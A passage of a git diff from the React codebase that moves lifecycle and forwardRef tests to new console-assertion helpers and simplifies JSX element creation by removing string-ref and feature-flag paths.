-          'https://react.dev/link/unsafe-component-lifecycles',
-      );
-    }).toWarnDev(
-      [
-        'componentWillMount has been renamed',
-        'componentWillReceiveProps has been renamed',
-        'componentWillUpdate has been renamed',
-      ],
-      {withoutStack: true},
-    );
     const root = ReactDOMClient.createRoot(document.createElement('div'));
+    await act(() => {
+      root.render(<Component />);
+    });
+    assertConsoleErrorDev([
+      'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' +
+        'Component uses getDerivedStateFromProps() but also contains the following legacy lifecycles:\n' +
+        '  componentWillMount\n' +
+        '  componentWillReceiveProps\n' +
+        '  componentWillUpdate\n\n' +
+        'The above lifecycles should be removed. Learn more about this warning here:\n' +
+        'https://react.dev/link/unsafe-component-lifecycles\n' +
+        '    in Component (at **)',
+    ]);
+    assertConsoleWarnDev([
+      'componentWillMount has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\n' +
+        '* Rename componentWillMount to UNSAFE_componentWillMount to suppress ' +
+        'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' +
+        'To rename all deprecated lifecycles to their new names, you can run ' +
+        '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n' +
+        '\nPlease update the following components: Component',
+      'componentWillReceiveProps has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move data fetching code or side effects to componentDidUpdate.\n' +
+        "* If you're updating state whenever props change, refactor your " +
+        'code to use memoization techniques or move it to ' +
+        'static getDerivedStateFromProps. Learn more at: https://react.dev/link/derived-state\n' +
+        '* Rename componentWillReceiveProps to UNSAFE_componentWillReceiveProps to suppress ' +
+        'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' +
+        'To rename all deprecated lifecycles to their new names, you can run ' +
+        '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n' +
+        '\nPlease update the following components: Component',
+      'componentWillUpdate has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move data fetching code or side effects to componentDidUpdate.\n' +
+        '* Rename componentWillUpdate to UNSAFE_componentWillUpdate to suppress ' +
+        'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' +
+        'To rename all deprecated lifecycles to their new names, you can run ' +
+        '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n' +
+        '\nPlease update the following components: Component',
+    ]);
     await act(() => {
       root.render(<Component foo={1} />);
     });
@@ -647,29 +663,49 @@ describe('create-react-class-integration', () => {
     });
     Component.displayName = 'Component';
 
-    await expect(async () => {
-      await expect(async () => {
-        const root = ReactDOMClient.createRoot(document.createElement('div'));
-        await act(() => {
-          root.render(<Component />);
-        });
-      }).toErrorDev(
-        'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' +
-          'Component uses getSnapshotBeforeUpdate() but also contains the following legacy lifecycles:\n' +
-          '  componentWillMount\n' +
-          '  componentWillReceiveProps\n' +
-          '  componentWillUpdate\n\n' +
-          'The above lifecycles should be removed. Learn more about this warning here:\n' +
-          'https://react.dev/link/unsafe-component-lifecycles',
-      );
-    }).toWarnDev(
-      [
-        'componentWillMount has been renamed',
-        'componentWillReceiveProps has been renamed',
-        'componentWillUpdate has been renamed',
-      ],
-      {withoutStack: true},
-    );
+    const root = ReactDOMClient.createRoot(document.createElement('div'));
+    await act(() => {
+      root.render(<Component />);
+    });
+    assertConsoleErrorDev([
+      'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' +
+        'Component uses getSnapshotBeforeUpdate() but also contains the following legacy lifecycles:\n' +
+        '  componentWillMount\n' +
+        '  componentWillReceiveProps\n' +
+        '  componentWillUpdate\n\n' +
+        'The above lifecycles should be removed. Learn more about this warning here:\n' +
+        'https://react.dev/link/unsafe-component-lifecycles\n' +
+        '    in Component (at **)',
+    ]);
+    assertConsoleWarnDev([
+      'componentWillMount has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\n' +
+        '* Rename componentWillMount to UNSAFE_componentWillMount to suppress ' +
+        'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' +
+        'To rename all deprecated lifecycles to their new names, you can run ' +
+        '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n' +
+        '\nPlease update the following components: Component',
+      'componentWillReceiveProps has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move data fetching code or side effects to componentDidUpdate.\n' +
+        "* If you're updating state whenever props change, refactor your " +
+        'code to use memoization techniques or move it to ' +
+        'static getDerivedStateFromProps. Learn more at: https://react.dev/link/derived-state\n' +
+        '* Rename componentWillReceiveProps to UNSAFE_componentWillReceiveProps to suppress ' +
+        'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' +
+        'To rename all deprecated lifecycles to their new names, you can run ' +
+        '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n' +
+        '\nPlease update the following components: Component',
+      'componentWillUpdate has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move data fetching code or side effects to componentDidUpdate.\n' +
+        '* Rename componentWillUpdate to UNSAFE_componentWillUpdate to suppress ' +
+        'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' +
+        'To rename all deprecated lifecycles to their new names, you can run ' +
+        '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n' +
+        '\nPlease update the following components: Component',
+    ]);
     await act(() => {
       const root2 = ReactDOMClient.createRoot(document.createElement('div'));
       root2.render(<Component foo={1} />);
@@ -709,18 +745,38 @@ describe('create-react-class-integration', () => {
 
     const root = ReactDOMClient.createRoot(document.createElement('div'));
 
-    await expect(async () => {
-      await act(() => {
-        root.render(<Component foo="bar" />);
-      });
-    }).toWarnDev(
-      [
-        'componentWillMount has been renamed',
-        'componentWillReceiveProps has been renamed',
-        'componentWillUpdate has been renamed',
-      ],
-      {withoutStack: true},
-    );
+    await act(() => {
+      root.render(<Component foo="bar" />);
+    });
+    assertConsoleWarnDev([
+      'componentWillMount has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\n' +
+        '* Rename componentWillMount to UNSAFE_componentWillMount to suppress ' +
+        'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' +
+        'To rename all deprecated lifecycles to their new names, you can run ' +
+        '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n' +
+        '\nPlease update the following components: Component',
+      'componentWillReceiveProps has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move data fetching code or side effects to componentDidUpdate.\n' +
+        "* If you're updating state whenever props change, refactor your " +
+        'code to use memoization techniques or move it to ' +
+        'static getDerivedStateFromProps. Learn more at: https://react.dev/link/derived-state\n' +
+        '* Rename componentWillReceiveProps to UNSAFE_componentWillReceiveProps to suppress ' +
+        'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' +
+        'To rename all deprecated lifecycles to their new names, you can run ' +
+        '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n' +
+        '\nPlease update the following components: Component',
+      'componentWillUpdate has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move data fetching code or side effects to componentDidUpdate.\n' +
+        '* Rename componentWillUpdate to UNSAFE_componentWillUpdate to suppress ' +
+        'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' +
+        'To rename all deprecated lifecycles to their new names, you can run ' +
+        '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n' +
+        '\nPlease update the following components: Component',
+    ]);
     expect(log).toEqual(['componentWillMount', 'UNSAFE_componentWillMount']);
 
     log.length = 0;
@@ -791,15 +847,17 @@ describe('create-react-class-integration', () => {
 
     const root = ReactDOMClient.createRoot(document.createElement('div'));
 
-    await expect(async () => {
-      await act(() => {
-        root.render(<Component />);
-      });
-    }).toErrorDev(
-      'MyComponent: isMounted is deprecated. Instead, make sure to ' +
-        'clean up subscriptions and pending requests in componentWillUnmount ' +
-        'to prevent memory leaks.',
-      {withoutStack: true},
+    await act(() => {
+      root.render(<Component />);
+    });
+    assertConsoleErrorDev(
+      [
+        'Warning: MyComponent: isMounted is deprecated. Instead, make sure to ' +
+          'clean up subscriptions and pending requests in componentWillUnmount ' +
+          'to prevent memory leaks.\n' +
+          '    in MyComponent (at **)',
+      ],
+      // This now has a component stack even though it's part of a third-party library.
     );
 
     // Dedupe
diff --git a/packages/react/src/__tests__/forwardRef-test.js b/packages/react/src/__tests__/forwardRef-test.js
index f0f3bb4d5023..0f382d127e9e 100644
--- a/packages/react/src/__tests__/forwardRef-test.js
+++ b/packages/react/src/__tests__/forwardRef-test.js
@@ -13,6 +13,7 @@ describe('forwardRef', () => {
   let React;
   let ReactNoop;
   let waitForAll;
+  let assertConsoleErrorDev;
 
   beforeEach(() => {
     jest.resetModules();
@@ -21,6 +22,7 @@ describe('forwardRef', () => {
 
     const InternalTestUtils = require('internal-test-utils');
     waitForAll = InternalTestUtils.waitForAll;
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
   });
 
   it('should update refs when switching between children', async () => {
@@ -74,67 +76,28 @@ describe('forwardRef', () => {
     expect(ref.current).toBe(null);
   });
 
-  // @gate !disableDefaultPropsExceptForClasses
-  it('should support defaultProps', async () => {
-    function FunctionComponent({forwardedRef, optional, required}) {
-      return (
-        <div ref={forwardedRef}>
-          {optional}
-          {required}
-        </div>
-      );
-    }
-
-    const RefForwardingComponent = React.forwardRef(
-      function NamedFunction(props, ref) {
-        return <FunctionComponent {...props} forwardedRef={ref} />;
-      },
-    );
-    RefForwardingComponent.defaultProps = {
-      optional: 'default',
-    };
-
-    const ref = React.createRef();
-
-    ReactNoop.render(
-      <RefForwardingComponent ref={ref} optional="foo" required="bar" />,
-    );
-    await waitForAll([]);
-    expect(ref.current.children).toEqual([
-      {text: 'foo', hidden: false},
-      {text: 'bar', hidden: false},
+  it('should warn if not provided a callback during creation', () => {
+    React.forwardRef(undefined);
+    assertConsoleErrorDev([
+      'forwardRef requires a render function but was given undefined.',
     ]);
 
-    ReactNoop.render(<RefForwardingComponent ref={ref} required="foo" />);
-    await waitForAll([]);
-    expect(ref.current.children).toEqual([
-      {text: 'default', hidden: false},
-      {text: 'foo', hidden: false},
+    React.forwardRef(null);
+    assertConsoleErrorDev([
+      'forwardRef requires a render function but was given null.',
     ]);
-  });
 
-  it('should warn if not provided a callback during creation', () => {
-    expect(() => React.forwardRef(undefined)).toErrorDev(
-      'forwardRef requires a render function but was given undefined.',
-      {withoutStack: true},
-    );
-    expect(() => React.forwardRef(null)).toErrorDev(
-      'forwardRef requires a render function but was given null.',
-      {
-        withoutStack: true,
-      },
-    );
-    expect(() => React.forwardRef('foo')).toErrorDev(
+    React.forwardRef('foo');
+    assertConsoleErrorDev([
       'forwardRef requires a render function but was given string.',
-      {withoutStack: true},
-    );
+    ]);
   });
 
   it('should warn if no render function is provided', () => {
-    expect(React.forwardRef).toErrorDev(
+    React.forwardRef();
+    assertConsoleErrorDev([
       'forwardRef requires a render function but was given undefined.',
-      {withoutStack: true},
-    );
+    ]);
   });
 
   it('should warn if the render function provided has defaultProps attributes', () => {
@@ -143,11 +106,11 @@ describe('forwardRef', () => {
     }
     renderWithDefaultProps.defaultProps = {};
 
-    expect(() => React.forwardRef(renderWithDefaultProps)).toErrorDev(
+    React.forwardRef(renderWithDefaultProps);
+    assertConsoleErrorDev([
       'forwardRef render functions do not support defaultProps. ' +
         'Did you accidentally pass a React component?',
-      {withoutStack: true},
-    );
+    ]);
   });
 
   it('should not warn if the render function provided does not use any parameter', () => {
@@ -159,11 +122,11 @@ describe('forwardRef', () => {
   it('should warn if the render function provided does not use the forwarded ref parameter', () => {
     const arityOfOne = props => <div {...props} />;
 
-    expect(() => React.forwardRef(arityOfOne)).toErrorDev(
+    React.forwardRef(arityOfOne);
+    assertConsoleErrorDev([
       'forwardRef render functions accept exactly two parameters: props and ref. ' +
         'Did you forget to use the ref parameter?',
-      {withoutStack: true},
-    );
+    ]);
   });
 
   it('should not warn if the render function provided use exactly two parameters', () => {
@@ -174,11 +137,11 @@ describe('forwardRef', () => {
   it('should warn if the render function provided expects to use more than two parameters', () => {
     const arityOfThree = (props, ref, x) => <div {...props} ref={ref} x={x} />;
 
-    expect(() => React.forwardRef(arityOfThree)).toErrorDev(
+    React.forwardRef(arityOfThree);
+    assertConsoleErrorDev([
       'forwardRef render functions accept exactly two parameters: props and ref. ' +
         'Any additional parameter will be undefined.',
-      {withoutStack: true},
-    );
+    ]);
   });
 
   it('should skip forwardRef in the stack if neither displayName nor name are present', async () => {
@@ -190,15 +153,14 @@ describe('forwardRef', () => {
         <RefForwardingComponent />
       </p>,
     );
-    await expect(async () => {
-      await waitForAll([]);
-    }).toErrorDev(
+    await waitForAll([]);
+    assertConsoleErrorDev([
       'Each child in a list should have a unique "key" prop.' +
         '\n\nCheck the top-level render call using <ForwardRef>. It was passed a child from ForwardRef. ' +
         'See https://react.dev/link/warning-keys for more information.\n' +
         '    in span (at **)\n' +
-        '    in ',
-    );
+        '    in **/forwardRef-test.js:**:** (at **)',
+    ]);
   });
 
   it('should use the inner function name for the stack', async () => {
@@ -210,16 +172,15 @@ describe('forwardRef', () => {
         <RefForwardingComponent />
       </p>,
     );
-    await expect(async () => {
-      await waitForAll([]);
-    }).toErrorDev(
+
+    await waitForAll([]);
+    assertConsoleErrorDev([
       'Each child in a list should have a unique "key" prop.' +
         '\n\nCheck the top-level render call using <ForwardRef(Inner)>. It was passed a child from ForwardRef(Inner). ' +
         'See https://react.dev/link/warning-keys for more information.\n' +
         '    in span (at **)\n' +
-        '    in Inner (at **)' +
-        (gate(flags => flags.enableOwnerStacks) ? '' : '\n    in p (at **)'),
-    );
+        '    in Inner (at **)',
+    ]);
   });
 
   it('should use the inner name in the stack', async () => {
@@ -233,16 +194,14 @@ describe('forwardRef', () => {
         <RefForwardingComponent />
       </p>,
     );
-    await expect(async () => {
-      await waitForAll([]);
-    }).toErrorDev(
+    await waitForAll([]);
+    assertConsoleErrorDev([
       'Each child in a list should have a unique "key" prop.' +
         '\n\nCheck the top-level render call using <ForwardRef(Inner)>. It was passed a child from ForwardRef(Inner). ' +
         'See https://react.dev/link/warning-keys for more information.\n' +
         '    in span (at **)\n' +
-        '    in Inner (at **)' +
-        (gate(flags => flags.enableOwnerStacks) ? '' : '\n    in p (at **)'),
-    );
+        '    in Inner (at **)',
+    ]);
   });
 
   it('can use the outer displayName in the stack', async () => {
@@ -255,16 +214,14 @@ describe('forwardRef', () => {
         <RefForwardingComponent />
       </p>,
     );
-    await expect(async () => {
-      await waitForAll([]);
-    }).toErrorDev(
+    await waitForAll([]);
+    assertConsoleErrorDev([
       'Each child in a list should have a unique "key" prop.' +
         '\n\nCheck the top-level render call using <Outer>. It was passed a child from Outer. ' +
         'See https://react.dev/link/warning-keys for more information.\n' +
         '    in span (at **)\n' +
-        '    in Outer (at **)' +
-        (gate(flags => flags.enableOwnerStacks) ? '' : '\n    in p (at **)'),
-    );
+        '    in Outer (at **)',
+    ]);
   });
 
   it('should prefer the inner name to the outer displayName in the stack', async () => {
@@ -279,16 +236,14 @@ describe('forwardRef', () => {
         <RefForwardingComponent />
       </p>,
     );
-    await expect(async () => {
-      await waitForAll([]);
-    }).toErrorDev(
+    await waitForAll([]);
+    assertConsoleErrorDev([
       'Each child in a list should have a unique "key" prop.' +
         '\n\nCheck the top-level render call using <Outer>. It was passed a child from Outer. ' +
         'See https://react.dev/link/warning-keys for more information.\n' +
         '    in span (at **)\n' +
-        '    in Inner (at **)' +
-        (gate(flags => flags.enableOwnerStacks) ? '' : '\n    in p (at **)'),
-    );
+        '    in Inner (at **)',
+    ]);
   });
 
   it('should not bailout if forwardRef is not wrapped in memo', async () => {
@@ -419,19 +374,15 @@ describe('forwardRef', () => {
   });
 
   it('warns on forwardRef(memo(...))', () => {
-    expect(() => {
-      React.forwardRef(
-        React.memo((props, ref) => {
-          return null;
-        }),
-      );
-    }).toErrorDev(
-      [
-        'forwardRef requires a render function but received a `memo` ' +
-          'component. Instead of forwardRef(memo(...)), use ' +
-          'memo(forwardRef(...)).',
-      ],
-      {withoutStack: true},
+    React.forwardRef(
+      React.memo((props, ref) => {
+        return null;
+      }),
     );
+    assertConsoleErrorDev([
+      'forwardRef requires a render function but received a `memo` ' +
+        'component. Instead of forwardRef(memo(...)), use ' +
+        'memo(forwardRef(...)).',
+    ]);
   });
 });
diff --git a/packages/react/src/jsx/ReactJSXElement.js b/packages/react/src/jsx/ReactJSXElement.js
index 0f8b9f397df5..3a5a5d51a9b8 100644
--- a/packages/react/src/jsx/ReactJSXElement.js
+++ b/packages/react/src/jsx/ReactJSXElement.js
@@ -10,31 +10,18 @@ import ReactSharedInternals from 'shared/ReactSharedInternals';
 import hasOwnProperty from 'shared/hasOwnProperty';
 import assign from 'shared/assign';
 import {
-  getIteratorFn,
   REACT_ELEMENT_TYPE,
   REACT_FRAGMENT_TYPE,
   REACT_LAZY_TYPE,
+  REACT_OPTIMISTIC_KEY,
 } from 'shared/ReactSymbols';
 import {checkKeyStringCoercion} from 'shared/CheckStringCoercion';
-import isValidElementType from 'shared/isValidElementType';
 import isArray from 'shared/isArray';
-import {describeUnknownElementTypeFrameInDEV} from 'shared/ReactComponentStackFrame';
-import {
-  enableRefAsProp,
-  disableStringRefs,
-  disableDefaultPropsExceptForClasses,
-  enableFastJSX,
-  enableOwnerStacks,
-} from 'shared/ReactFeatureFlags';
-import {checkPropStringCoercion} from 'shared/CheckStringCoercion';
-import {ClassComponent} from 'react-reconciler/src/ReactWorkTags';
-import getComponentNameFromFiber from 'react-reconciler/src/getComponentNameFromFiber';
-
-const REACT_CLIENT_REFERENCE = Symbol.for('react.client.reference');
+import {ownerStackLimit, enableOptimisticKey} from 'shared/ReactFeatureFlags';
 
 const createTask =
   // eslint-disable-next-line react-internal/no-production-logging
-  __DEV__ && enableOwnerStacks && console.createTask
+  __DEV__ && console.createTask
     ? // eslint-disable-next-line react-internal/no-production-logging
       console.createTask
     : () => null;
@@ -61,7 +48,7 @@ function getTaskName(type) {
 }
 
 function getOwner() {
-  if (__DEV__ || !disableStringRefs) {
+  if (__DEV__) {
     const dispatcher = ReactSharedInternals.A;
     if (dispatcher === null) {
       return null;
@@ -71,20 +58,41 @@ function getOwner() {
   return null;
 }
 
+// v8 (Chromium, Node.js) defaults to 10
+// SpiderMonkey (Firefox) does not support Error.stackTraceLimit
+// JSC (Safari) defaults to 100
+// The lower the limit, the more likely we'll not reach react_stack_bottom_frame
+// The higher the limit, the slower Error() is when not inspecting with a debugger.
+// When inspecting with a debugger, Error.stackTraceLimit has no impact on Error() performance (in v8).
+const ownerStackTraceLimit = 10;
+
+/** @noinline */
+function UnknownOwner() {
+  /** @noinline */
+  return (() => Error('react-stack-top-frame'))();
+}
+const createFakeCallStack = {
+  react_stack_bottom_frame: function (callStackForError) {
+    return callStackForError();
+  },
+};
+
 let specialPropKeyWarningShown;
-let specialPropRefWarningShown;
-let didWarnAboutStringRefs;
 let didWarnAboutElementRef;
 let didWarnAboutOldJSXRuntime;
+let unknownOwnerDebugStack;
+let unknownOwnerDebugTask;
 
 if (__DEV__) {
-  didWarnAboutStringRefs = {};
   didWarnAboutElementRef = {};
-}
 
-const enableFastJSXWithStringRefs = enableFastJSX && enableRefAsProp;
-const enableFastJSXWithoutStringRefs =
-  enableFastJSXWithStringRefs && disableStringRefs;
+  // We use this technique to trick minifiers to preserve the function name.
+  unknownOwnerDebugStack = createFakeCallStack.react_stack_bottom_frame.bind(
+    createFakeCallStack,
+    UnknownOwner,
+  )();
+  unknownOwnerDebugTask = createTask(getTaskName(UnknownOwner));
+}
 
 function hasValidRef(config) {
   if (__DEV__) {
@@ -110,35 +118,6 @@ function hasValidKey(config) {
   return config.key !== undefined;
 }
 
-function warnIfStringRefCannotBeAutoConverted(config, self) {
-  if (__DEV__) {
-    let owner;
-    if (
-      !disableStringRefs &&
-      typeof config.ref === 'string' &&
-      (owner = getOwner()) &&
-      self &&
-      owner.stateNode !== self
-    ) {
-      const componentName = getComponentNameFromType(owner.type);
-
-      if (!didWarnAboutStringRefs[componentName]) {
-        console.error(
-          'Component "%s" contains the string ref "%s". ' +
-            'Support for string refs will be removed in a future major release. ' +
-            'This case cannot be automatically converted to an arrow function. ' +
-            'We ask you to manually fix this case by using useRef() or createRef() instead. ' +
-            'Learn more about using refs safely here: ' +
-            'https://react.dev/link/strict-mode-string-ref',
-          getComponentNameFromType(owner.type),
-          config.ref,
-        );
-        didWarnAboutStringRefs[componentName] = true;
-      }
-    }
-  }
-}
-
 function defineKeyPropWarningGetter(props, displayName) {
   if (__DEV__) {
     const warnAboutAccessingKey = function () {
@@ -161,30 +140,6 @@ function defineKeyPropWarningGetter(props, displayName) {
   }
 }
 
-function defineRefPropWarningGetter(props, displayName) {
-  if (!enableRefAsProp) {
-    if (__DEV__) {
-      const warnAboutAccessingRef = function () {
-        if (!specialPropRefWarningShown) {
-          specialPropRefWarningShown = true;
-          console.error(
-            '%s: `ref` is not a prop. Trying to access it will result ' +
-              'in `undefined` being returned. If you need to access the same ' +
-              'value within the child component, you should pass it as a different ' +
-              'prop. (https://react.dev/link/special-props)',
-            displayName,
-          );
-        }
-      };
-      warnAboutAccessingRef.isReactWarning = true;
-      Object.defineProperty(props, 'ref', {
-        get: warnAboutAccessingRef,
-        configurable: true,
-      });
-    }
-  }
-}
-
 function elementRefGetterWithDeprecationWarning() {
   if (__DEV__) {
     const componentName = getComponentNameFromType(this.type);
@@ -210,49 +165,21 @@ function elementRefGetterWithDeprecationWarning() {
  * will not work. Instead test $$typeof field against Symbol.for('react.transitional.element') to check
  * if something is a React Element.
  *
- * @param {*} type
- * @param {*} props
- * @param {*} key
- * @param {string|object} ref
- * @param {*} owner
- * @param {*} self A *temporary* helper to detect places where `this` is
- * different from the `owner` when React.createElement is called, so that we
- * can warn. We want to get rid of owner and replace string `ref`s with arrow
- * functions, and as long as `this` and owner are the same, there will be no
- * change in behavior.
- * @param {*} source An annotation object (added by a transpiler or otherwise)
- * indicating filename, line number, and/or other information.
  * @internal
  */
-function ReactElement(
-  type,
-  key,
-  _ref,
-  self,
-  source,
-  owner,
-  props,
-  debugStack,
-  debugTask,
-) {
-  let ref;
-  if (enableRefAsProp) {
-    // When enableRefAsProp is on, ignore whatever was passed as the ref
-    // argument and treat `props.ref` as the source of truth. The only thing we
-    // use this for is `element.ref`, which will log a deprecation warning on
-    // access. In the next release, we can remove `element.ref` as well as the
-    // `ref` argument.
-    const refProp = props.ref;
+function ReactElement(type, key, props, owner, debugStack, debugTask) {
+  // Ignore whatever was passed as the ref argument and treat `props.ref` as
+  // the source of truth. The only thing we use this for is `element.ref`,
+  // which will log a deprecation warning on access. In the next release, we
+  // can remove `element.ref` as well as the `ref` argument.
+  const refProp = props.ref;
 
-    // An undefined `element.ref` is coerced to `null` for
-    // backwards compatibility.
-    ref = refProp !== undefined ? refProp : null;
-  } else {
-    ref = _ref;
-  }
+  // An undefined `element.ref` is coerced to `null` for
+  // backwards compatibility.
+  const ref = refProp !== undefined ? refProp : null;
 
   let element;
-  if (__DEV__ && enableRefAsProp) {
+  if (__DEV__) {
     // In dev, make `ref` a non-enumerable property with a warning. It's non-
     // enumerable so that test matchers and serializers don't access it and
     // trigger the warning.
@@ -295,22 +222,8 @@ function ReactElement(
         value: null,
       });
     }
-  } else if (!__DEV__ && disableStringRefs) {
-    // In prod, `ref` is a regular property and _owner doesn't exist.
-    element = {
-      // This tag allows us to uniquely identify this as a React Element
-      $$typeof: REACT_ELEMENT_TYPE,
-
-      // Built-in properties that belong on the element
-      type,
-      key,
-      ref,
-
-      props,
-    };
   } else {
-    // In prod, `ref` is a regular property. It will be removed in a
-    // future release.
+    // In prod, `ref` is a regular property and _owner doesn't exist.
     element = {
       // This tag allows us to uniquely identify this as a React Element
       $$typeof: REACT_ELEMENT_TYPE,
@@ -321,9 +234,6 @@ function ReactElement(
       ref,
 
       props,
-
-      // Record the component responsible for creating this element.
-      _owner: owner,
     };
   }
 
@@ -351,20 +261,18 @@ function ReactElement(
       writable: true,
       value: null,
     });
-    if (enableOwnerStacks) {
-      Object.defineProperty(element, '_debugStack', {
-        configurable: false,
-        enumerable: false,
-        writable: true,
-        value: debugStack,
-      });
-      Object.defineProperty(element, '_debugTask', {
-        configurable: false,
-        enumerable: false,
-        writable: true,
-        value: debugTask,
-      });
-    }
+    Object.defineProperty(element, '_debugStack', {
+      configurable: false,
+      enumerable: false,
+      writable: true,
+      value: debugStack,
+    });
+    Object.defineProperty(element, '_debugTask', {
+      configurable: false,
+      enumerable: false,
+      writable: true,
+      value: debugTask,
+    });
     if (Object.freeze) {
       Object.freeze(element.props);
       Object.freeze(element);
@@ -382,7 +290,6 @@ function ReactElement(
  */
 export function jsxProd(type, config, maybeKey) {
   let key = null;
-  let ref = null;
 
   // Currently, key can be spread in as a prop. This causes a potential
   // issue if key is also explicitly declared (ie. <div {...props} key="Hi" />
@@ -391,34 +298,29 @@ export function jsxProd(type, config, maybeKey) {
   // <div {...props} key="Hi" />, because we aren't currently able to tell if
   // key is explicitly declared to be undefined or not.
   if (maybeKey !== undefined) {
-    if (__DEV__) {
-      checkKeyStringCoercion(maybeKey);
+    if (enableOptimisticKey && maybeKey === REACT_OPTIMISTIC_KEY) {
+      key = REACT_OPTIMISTIC_KEY;
+    } else {
+      if (__DEV__) {
+        checkKeyStringCoercion(maybeKey);
+      }
+      key = '' + maybeKey;
     }
-    key = '' + maybeKey;
   }
 
   if (hasValidKey(config)) {
-    if (__DEV__) {
-      checkKeyStringCoercion(config.key);
-    }
-    key = '' + config.key;
-  }
-
-  if (hasValidRef(config)) {
-    if (!enableRefAsProp) {
-      ref = config.ref;
-      if (!disableStringRefs) {
-        ref = coerceStringRef(ref, getOwner(), type);
+    if (enableOptimisticKey && maybeKey === REACT_OPTIMISTIC_KEY) {
+      key = REACT_OPTIMISTIC_KEY;
+    } else {
+      if (__DEV__) {
+        checkKeyStringCoercion(config.key);
       }
+      key = '' + config.key;
     }
   }
 
   let props;
-  if (
-    (enableFastJSXWithoutStringRefs ||
-      (enableFastJSXWithStringRefs && !('ref' in config))) &&
-    !('key' in config)
-  ) {
+  if (!('key' in config)) {
     // If key was not spread in, we can reuse the original props object. This
     // only works for `jsx`, not `createElement`, because `jsx` is a compiler
     // target and the compiler always passes a new object. For `createElement`,
@@ -436,39 +338,13 @@ export function jsxProd(type, config, maybeKey) {
     props = {};
     for (const propName in config) {
       // Skip over reserved prop names
-      if (propName !== 'key' && (enableRefAsProp || propName !== 'ref')) {
-        if (enableRefAsProp && !disableStringRefs && propName === 'ref') {
-          props.ref = coerceStringRef(config[propName], getOwner(), type);
-        } else {
-          props[propName] = config[propName];
-        }
-      }
-    }
-  }
-
-  if (!disableDefaultPropsExceptForClasses) {
-    // Resolve default props
-    if (type && type.defaultProps) {
-      const defaultProps = type.defaultProps;
-      for (const propName in defaultProps) {
-        if (props[propName] === undefined) {
-          props[propName] = defaultProps[propName];
-        }
+      if (propName !== 'key') {
+        props[propName] = config[propName];
       }
     }
   }
 
-  return ReactElement(
-    type,
-    key,
-    ref,
-    undefined,
-    undefined,
-    getOwner(),
-    props,
-    undefined,
-    undefined,
-  );
+  return ReactElement(type, key, props, getOwner(), undefined, undefined);
 }
 
 // While `jsxDEV` should never be called when running in production, we do
@@ -487,20 +363,34 @@ export function jsxProdSignatureRunningInDevWithDynamicChildren(
   type,
   config,
   maybeKey,
-  source,
-  self,
 ) {
   if (__DEV__) {
     const isStaticChildren = false;
+    const trackActualOwner =
+      __DEV__ &&
+      ReactSharedInternals.recentlyCreatedOwnerStacks++ < ownerStackLimit;
+    let debugStackDEV = false;
+    if (__DEV__) {
+      if (trackActualOwner) {
+        const previousStackTraceLimit = Error.stackTraceLimit;
+        Error.stackTraceLimit = ownerStackTraceLimit;
+        debugStackDEV = Error('react-stack-top-frame');
+        Error.stackTraceLimit = previousStackTraceLimit;
+      } else {
+        debugStackDEV = unknownOwnerDebugStack;
+      }
+    }
+
     return jsxDEVImpl(
       type,
       config,
       maybeKey,
       isStaticChildren,
-      source,
-      self,
-      __DEV__ && enableOwnerStacks ? Error('react-stack-top-frame') : undefined,
-      __DEV__ && enableOwnerStacks ? createTask(getTaskName(type)) : undefined,
+      debugStackDEV,
+      __DEV__ &&
+        (trackActualOwner
+          ? createTask(getTaskName(type))
+          : unknownOwnerDebugTask),
     );
   }
 }
@@ -509,20 +399,33 @@ export function jsxProdSignatureRunningInDevWithStaticChildren(
   type,
   config,
   maybeKey,
-  source,
-  self,
 ) {
   if (__DEV__) {
     const isStaticChildren = true;
+    const trackActualOwner =
+      __DEV__ &&
+      ReactSharedInternals.recentlyCreatedOwnerStacks++ < ownerStackLimit;
+    let debugStackDEV = false;
+    if (__DEV__) {
+      if (trackActualOwner) {
+        const previousStackTraceLimit = Error.stackTraceLimit;
+        Error.stackTraceLimit = ownerStackTraceLimit;
+        debugStackDEV = Error('react-stack-top-frame');
+        Error.stackTraceLimit = previousStackTraceLimit;
+      } else {
+        debugStackDEV = unknownOwnerDebugStack;
+      }
+    }
     return jsxDEVImpl(
       type,
       config,
       maybeKey,
       isStaticChildren,
-      source,
-      self,
